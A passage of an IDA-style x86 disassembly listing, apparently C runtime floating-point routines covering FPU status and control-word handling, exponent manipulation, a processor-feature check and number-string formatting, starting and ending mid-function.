; CODE XREF: sub_417565+5Aj test cl, 8 jz short loc_4175E2 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4175E2: ; CODE XREF: sub_417565+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_417C85 test al, bl jz short loc_41766B mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41766B: ; CODE XREF: sub_417565+FDj test al, 4 jz short loc_417676 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_417676: ; CODE XREF: sub_417565+108j test al, 8 jz short loc_417681 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_417681: ; CODE XREF: sub_417565+113j test al, 10h jz short loc_41768B mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41768B: ; CODE XREF: sub_417565+11Ej test al, 20h jz short loc_417695 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_417695: ; CODE XREF: sub_417565+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_4176D4 cmp eax, 400h jz short loc_4176C6 cmp eax, 800h jz short loc_4176BA cmp eax, ecx jnz short loc_4176DA mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_4176DA ; --------------------------------------------------------------------------- loc_4176BA: ; CODE XREF: sub_417565+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_4176D0 ; --------------------------------------------------------------------------- loc_4176C6: ; CODE XREF: sub_417565+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_4176D0: ; CODE XREF: sub_417565+15Fj mov [eax], ecx jmp short loc_4176DA ; --------------------------------------------------------------------------- loc_4176D4: ; CODE XREF: sub_417565+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_4176DA: ; CODE XREF: sub_417565+14Bj ; sub_417565+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_417705 cmp eax, 200h jz short loc_4176F8 cmp eax, ecx jnz short loc_417712 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_417712 ; --------------------------------------------------------------------------- loc_4176F8: ; CODE XREF: sub_417565+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_417710 ; --------------------------------------------------------------------------- loc_417705: ; CODE XREF: sub_417565+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_417710: ; CODE XREF: sub_417565+19Ej mov [eax], ecx loc_417712: ; CODE XREF: sub_417565+189j ; sub_417565+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_417C93 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:off_41F17C mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41778C and dword ptr [esi], 0FFFFFFFEh loc_41778C: ; CODE XREF: sub_417565+222j test byte ptr [eax+8], 8 jz short loc_417795 and dword ptr [esi], 0FFFFFFFBh loc_417795: ; CODE XREF: sub_417565+22Bj test byte ptr [eax+8], 4 jz short loc_41779E and dword ptr [esi], 0FFFFFFF7h loc_41779E: ; CODE XREF: sub_417565+234j test byte ptr [eax+8], 2 jz short loc_4177A7 and dword ptr [esi], 0FFFFFFEFh loc_4177A7: ; CODE XREF: sub_417565+23Dj test [eax+8], bl jz short loc_4177AF and dword ptr [esi], 0FFFFFFDFh loc_4177AF: ; CODE XREF: sub_417565+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_4177E3 dec ecx jz short loc_4177D7 dec ecx jz short loc_4177CD dec ecx jnz short loc_4177E5 or byte ptr [esi+1], 0Ch jmp short loc_4177E5 ; --------------------------------------------------------------------------- loc_4177CD: ; CODE XREF: sub_417565+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_4177DF ; --------------------------------------------------------------------------- loc_4177D7: ; CODE XREF: sub_417565+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_4177DF: ; CODE XREF: sub_417565+270j mov [esi], ecx jmp short loc_4177E5 ; --------------------------------------------------------------------------- loc_4177E3: ; CODE XREF: sub_417565+257j and [esi], edx loc_4177E5: ; CODE XREF: sub_417565+260j ; sub_417565+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_417805 dec ecx jz short loc_4177FC dec ecx jnz short loc_41780E and [esi], edx jmp short loc_41780E ; --------------------------------------------------------------------------- loc_4177FC: ; CODE XREF: sub_417565+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41780C ; --------------------------------------------------------------------------- loc_417805: ; CODE XREF: sub_417565+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41780C: ; CODE XREF: sub_417565+29Ej mov [esi], ecx loc_41780E: ; CODE XREF: sub_417565+291j ; sub_417565+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_417565 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417818 proc near ; CODE XREF: sub_4174CD+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_417843 test byte ptr [ebp+arg_8], bl jz short loc_417843 push ebx call sub_417CC5 pop ecx and edi, 0FFFFFFF7h jmp loc_417A0D ; --------------------------------------------------------------------------- loc_417843: ; CODE XREF: sub_417818+15j ; sub_417818+1Aj test al, 4 jz short loc_41785D test byte ptr [ebp+arg_8], 4 jz short loc_41785D push 4 call sub_417CC5 pop ecx and edi, 0FFFFFFFBh jmp loc_417A0D ; --------------------------------------------------------------------------- loc_41785D: ; CODE XREF: sub_417818+2Dj ; sub_417818+33j test al, bl jz loc_417937 test byte ptr [ebp+arg_8], 8 jz loc_417937 push 8 call sub_417CC5 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41790F cmp ecx, 400h jz short loc_4178E7 cmp ecx, 800h jz short loc_4178BF cmp ecx, eax jnz loc_41792F mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fld dbl_437AB8 fnstsw ax sahf ja short loc_4178B7 fchs loc_4178B7: ; CODE XREF: sub_417818+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41792D ; --------------------------------------------------------------------------- loc_4178BF: ; CODE XREF: sub_417818+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fnstsw ax sahf jbe short loc_4178D7 fld dbl_437AA8 jmp short loc_4178DF ; --------------------------------------------------------------------------- loc_4178D7: ; CODE XREF: sub_417818+B5j fld dbl_437AB8 fchs loc_4178DF: ; CODE XREF: sub_417818+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41792D ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417818+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fnstsw ax sahf jbe short loc_4178FF fld dbl_437AB8 jmp short loc_417907 ; --------------------------------------------------------------------------- loc_4178FF: ; CODE XREF: sub_417818+DDj fld dbl_437AA8 fchs loc_417907: ; CODE XREF: sub_417818+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41792D ; --------------------------------------------------------------------------- loc_41790F: ; CODE XREF: sub_417818+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fld dbl_437AA8 fnstsw ax sahf ja short loc_417927 fchs loc_417927: ; CODE XREF: sub_417818+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41792D: ; CODE XREF: sub_417818+A5j ; sub_417818+CDj ... fstp qword ptr [ecx] loc_41792F: ; CODE XREF: sub_417818+81j and edi, 0FFFFFFFEh jmp loc_417A0D ; --------------------------------------------------------------------------- loc_417937: ; CODE XREF: sub_417818+47j ; sub_417818+51j test al, 2 jz loc_417A0D test byte ptr [ebp+arg_8], 10h jz loc_417A0D push esi xor esi, esi test al, 10h jz short loc_417952 mov esi, ebx loc_417952: ; CODE XREF: sub_417818+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp ds:dbl_41F7A8 fnstsw ax sahf jz loc_4179FB fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_417BC4 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41799D fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_4179F1 ; --------------------------------------------------------------------------- loc_41799D: ; CODE XREF: sub_417818+17Aj fld [ebp+var_C] fcomp ds:dbl_41F7A8 fnstsw ax sahf jnb short loc_4179AF mov edx, ebx jmp short loc_4179B1 ; --------------------------------------------------------------------------- loc_4179AF: ; CODE XREF: sub_417818+191j xor edx, edx loc_4179B1: ; CODE XREF: sub_417818+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_4179E5 sub eax, ecx loc_4179C8: ; CODE XREF: sub_417818+1CBj test byte ptr [ebp+var_C], bl jz short loc_4179D3 test esi, esi jnz short loc_4179D3 mov esi, ebx loc_4179D3: ; CODE XREF: sub_417818+1B3j ; sub_417818+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_4179DF or byte ptr [ebp+var_C+3], 80h loc_4179DF: ; CODE XREF: sub_417818+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_4179C8 loc_4179E5: ; CODE XREF: sub_417818+1ACj test edx, edx jz short loc_4179F1 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_4179F1: ; CODE XREF: sub_417818+183j ; sub_417818+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_4179FD ; --------------------------------------------------------------------------- loc_4179FB: ; CODE XREF: sub_417818+14Ej mov esi, ebx loc_4179FD: ; CODE XREF: sub_417818+1E1j test esi, esi pop esi jz short loc_417A0A push 10h call sub_417CC5 pop ecx loc_417A0A: ; CODE XREF: sub_417818+1E8j and edi, 0FFFFFFFDh loc_417A0D: ; CODE XREF: sub_417818+26j ; sub_417818+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_417A24 test byte ptr [ebp+arg_8], 20h jz short loc_417A24 push 20h call sub_417CC5 pop ecx and edi, 0FFFFFFEFh loc_417A24: ; CODE XREF: sub_417818+1F9j ; sub_417818+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_417818 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417A2F(int,int,int,int,int,int,double,int) sub_417A2F proc near ; CODE XREF: sub_41747A+2Bp ; sub_4174CD+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_417ADD test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_417A9A mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_417CA2 lea eax, [ebp+var_20] push eax call sub_41B65C add esp, 0Ch test eax, eax jnz short loc_417A94 push esi call sub_417AB7 pop ecx loc_417A94: ; CODE XREF: sub_417A2F+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_417A9A: ; CODE XREF: sub_417A2F+14j push 0FFFFh push [ebp+arg_20] call sub_417CA2 push [ebp+arg_0] call sub_417AB7 fld [ebp+arg_18] add esp, 0Ch leave retn sub_417A2F endp ; =============== S U B R O U T I N E ======================================= sub_417AB7 proc near ; CODE XREF: sub_4174CD+7Dp ; sub_417A2F+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_417AD2 jle short locret_417ADC cmp eax, 3 jg short locret_417ADC mov dword_74222C, 22h retn ; --------------------------------------------------------------------------- loc_417AD2: ; CODE XREF: sub_417AB7+7j mov dword_74222C, 21h locret_417ADC: ; CODE XREF: sub_417AB7+9j ; sub_417AB7+Ej retn sub_417AB7 endp ; =============== S U B R O U T I N E ======================================= sub_417ADD proc near ; CODE XREF: sub_417A2F+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_4379D0 loc_417AE4: ; CODE XREF: sub_417ADD+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_417AFA add eax, 8 inc ecx cmp eax, offset dbl_437AA8 jl short loc_417AE4 xor eax, eax retn ; --------------------------------------------------------------------------- loc_417AFA: ; CODE XREF: sub_417ADD+Dj mov eax, off_4379D4[ecx*8] retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= sub_417B02 proc near ; CODE XREF: sub_4174CD+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_417B0E push 5 jmp short loc_417B24 ; --------------------------------------------------------------------------- loc_417B0E: ; CODE XREF: sub_417B02+6j test al, 8 jz short loc_417B16 push 1 jmp short loc_417B24 ; --------------------------------------------------------------------------- loc_417B16: ; CODE XREF: sub_417B02+Ej test al, 4 jz short loc_417B1E push 2 jmp short loc_417B24 ; --------------------------------------------------------------------------- loc_417B1E: ; CODE XREF: sub_417B02+16j test al, 1 jz short loc_417B26 push 3 loc_417B24: ; CODE XREF: sub_417B02+Aj ; sub_417B02+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_417B26: ; CODE XREF: sub_417B02+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_417B02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417B2F(double) sub_417B2F proc near ; CODE XREF: sub_413FAE:loc_414034p ; sub_4140F7:loc_41417Dp var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417B41(double,int) sub_417B41 proc near ; CODE XREF: sub_417BC4+82p ; sub_417BC4+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_417B41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B6A proc near ; CODE XREF: sub_413FAE+31p ; sub_4140F7+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_417B81 cmp [ebp+arg_0], edx jnz short loc_417B93 push 1 jmp short loc_417BBD ; --------------------------------------------------------------------------- loc_417B81: ; CODE XREF: sub_417B6A+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_417B93 cmp [ebp+arg_0], edx jnz short loc_417B93 push 2 jmp short loc_417BBD ; --------------------------------------------------------------------------- loc_417B93: ; CODE XREF: sub_417B6A+11j ; sub_417B6A+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_417BA6 push 3 jmp short loc_417BBD ; --------------------------------------------------------------------------- loc_417BA6: ; CODE XREF: sub_417B6A+36j cmp cx, 7FF0h jnz short loc_417BC0 test [ebp+arg_4], 7FFFFh jnz short loc_417BBB cmp [ebp+arg_0], edx jz short loc_417BC0 loc_417BBB: ; CODE XREF: sub_417B6A+4Aj push 4 loc_417BBD: ; CODE XREF: sub_417B6A+15j ; sub_417B6A+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_417BC0: ; CODE XREF: sub_417B6A+41j ; sub_417B6A+4Fj xor eax, eax pop ebp retn sub_417B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417BC4(double,int) sub_417BC4 proc near ; CODE XREF: sub_417818+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp ds:dbl_41F7A8 push esi fnstsw ax sahf jnz short loc_417BE4 fldz xor esi, esi fstp [ebp+var_8] jmp loc_417C7A ; --------------------------------------------------------------------------- loc_417BE4: ; CODE XREF: sub_417BC4+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_417C53 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_417BFC cmp dword ptr [ebp+arg_0], ecx jz short loc_417C53 loc_417BFC: ; CODE XREF: sub_417BC4+31j fld [ebp+arg_0] fcomp ds:dbl_41F7A8 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_417C14 push 1 pop eax jmp short loc_417C16 ; --------------------------------------------------------------------------- loc_417C14: ; CODE XREF: sub_417BC4+49j xor eax, eax loc_417C16: ; CODE XREF: sub_417BC4+4Ej ; sub_417BC4+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_417C2F shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_417C29 or dword ptr [ebp+arg_0+4], 1 loc_417C29: ; CODE XREF: sub_417BC4+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_417C16 ; --------------------------------------------------------------------------- loc_417C2F: ; CODE XREF: sub_417BC4+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_417C3D or byte ptr [ebp+arg_0+7], 80h loc_417C3D: ; CODE XREF: sub_417BC4+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_417B41 fstp [ebp+var_8] add esp, 0Ch jmp short loc_417C7A ; --------------------------------------------------------------------------- loc_417C53: ; CODE XREF: sub_417BC4+28j ; sub_417BC4+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_417B41 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_417C7A: ; CODE XREF: sub_417BC4+1Bj ; sub_417BC4+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_417BC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C85 proc near ; CODE XREF: sub_417565+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_417C85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C93 proc near ; CODE XREF: sub_417565+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_417C93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CA2 proc near ; CODE XREF: sub_413FAE+13p ; sub_413FAE+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_417CA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CC5 proc near ; CODE XREF: sub_417818+1Dp ; sub_417818+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_417CDC fld tbyte_437AD0 fistp [ebp+arg_0] wait loc_417CDC: ; CODE XREF: sub_417CC5+Bj test cl, 8 jz short loc_417CF1 fstsw ax fld tbyte_437AD0 fstp [ebp+var_8] wait fstsw ax loc_417CF1: ; CODE XREF: sub_417CC5+1Aj test cl, 10h jz short loc_417D00 fld tbyte_437ADC fstp [ebp+var_8] wait loc_417D00: ; CODE XREF: sub_417CC5+2Fj test cl, 4 jz short loc_417D0E fldz fld1 fdivrp st(1), st fstp st wait loc_417D0E: ; CODE XREF: sub_417CC5+3Ej test cl, 20h jz short locret_417D19 fldpi fstp [ebp+var_8] wait locret_417D19: ; CODE XREF: sub_417CC5+4Cj leave retn sub_417CC5 endp ; =============== S U B R O U T I N E ======================================= sub_417D1B proc near ; CODE XREF: sub_41407D+Fp push 30000h push 10000h call sub_41B694 pop ecx pop ecx retn sub_417D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D2D proc near ; CODE XREF: sub_417D6B:loc_417D8Fj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_41F7B8 fstp [ebp+var_8] fld ds:dbl_41F7B0 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_41F668 fnstsw ax sahf jbe short loc_417D67 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_417D67: ; CODE XREF: sub_417D2D+33j xor eax, eax leave retn sub_417D2D endp ; =============== S U B R O U T I N E ======================================= sub_417D6B proc near ; CODE XREF: sub_41407D+5p push offset aKernel32 ; "KERNEL32" call ds:dword_41F0B0 ; GetModuleHandleA test eax, eax jz short loc_417D8F push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:off_41F0AC test eax, eax jz short loc_417D8F push 0 call eax ; sub_41407D retn ; --------------------------------------------------------------------------- loc_417D8F: ; CODE XREF: sub_417D6B+Dj ; sub_417D6B+1Dj jmp sub_417D2D sub_417D6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417D94 proc near ; CODE XREF: sub_416065+3CBp ; DATA XREF: sub_414095+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_415467 cmp eax, 65h pop ecx jz short loc_417DD4 loc_417DA8: ; CODE XREF: sub_417D94+3Ej inc esi cmp dword_4379BC, 1 jle short loc_417DC1 movsx eax, byte ptr [esi] push 4 push eax call sub_41686F pop ecx pop ecx jmp short loc_417DD0 ; --------------------------------------------------------------------------- loc_417DC1: ; CODE XREF: sub_417D94+1Cj movsx eax, byte ptr [esi] mov ecx, off_4377B0 mov al, [ecx+eax*2] and eax, 4 loc_417DD0: ; CODE XREF: sub_417D94+2Bj test eax, eax jnz short loc_417DA8 loc_417DD4: ; CODE XREF: sub_417D94+12j mov cl, byte_4379C0 mov al, [esi] mov [esi], cl inc esi loc_417DDF: ; CODE XREF: sub_417D94+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_417DDF pop esi retn sub_417D94 endp ; =============== S U B R O U T I N E ======================================= sub_417DEE proc near ; CODE XREF: sub_416065+3E2p ; DATA XREF: sub_414095+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_4379C0 mov cl, [eax] test cl, cl jz short loc_417E0A loc_417DFE: ; CODE XREF: sub_417DEE+1Aj cmp cl, dl jz short loc_417E0A mov cl, [eax+1] inc eax test cl, cl jnz short loc_417DFE loc_417E0A: ; CODE XREF: sub_417DEE+Ej ; sub_417DEE+12j mov cl, [eax] inc eax test cl, cl jz short locret_417E3B loc_417E11: ; CODE XREF: sub_417DEE+34j mov cl, [eax] test cl, cl jz short loc_417E24 cmp cl, 65h jz short loc_417E24 cmp cl, 45h jz short loc_417E24 inc eax jmp short loc_417E11 ; --------------------------------------------------------------------------- loc_417E24: ; CODE XREF: sub_417DEE+27j ; sub_417DEE+2Cj ... mov ecx, eax loc_417E26: ; CODE XREF: sub_417DEE+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_417E26 cmp [eax], dl jnz short loc_417E31 dec eax loc_417E31: ; CODE XREF: sub_417DEE+40j ; sub_417DEE+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_417E31 locret_417E3B: ; CODE XREF: sub_417DEE+21j retn sub_417DEE endp ; =============== S U B R O U T I N E ======================================= sub_417E3C proc near ; DATA XREF: sub_414095+28o ; .data:off_437AF8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_41F7A8 fnstsw ax sahf jb short loc_417E51 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_417E51: ; CODE XREF: sub_417E3C+Fj xor eax, eax retn sub_417E3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E54 proc near ; CODE XREF: sub_418BBD+430p ; DATA XREF: sub_414095+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_417E7D lea eax, [ebp+var_8] push eax call sub_41BB57 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_417E7D: ; CODE XREF: sub_417E54+Cj lea eax, [ebp+arg_8] push eax call sub_41BB84 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_417E54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E92 proc near ; CODE XREF: sub_41810F+17p ; sub_418159+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_742290, 0 push ebx push esi jz short loc_417EC7 mov ebx, [ebp+arg_8] mov eax, dword_74228C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_4181AA pop ecx pop ecx jmp short loc_417EFF ; --------------------------------------------------------------------------- loc_417EC7: ; CODE XREF: sub_417E92+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41BC28 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41BBB1 add esp, 14h loc_417EFF: ; CODE XREF: sub_417E92+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_417F0B mov byte ptr [eax], 2Dh inc eax 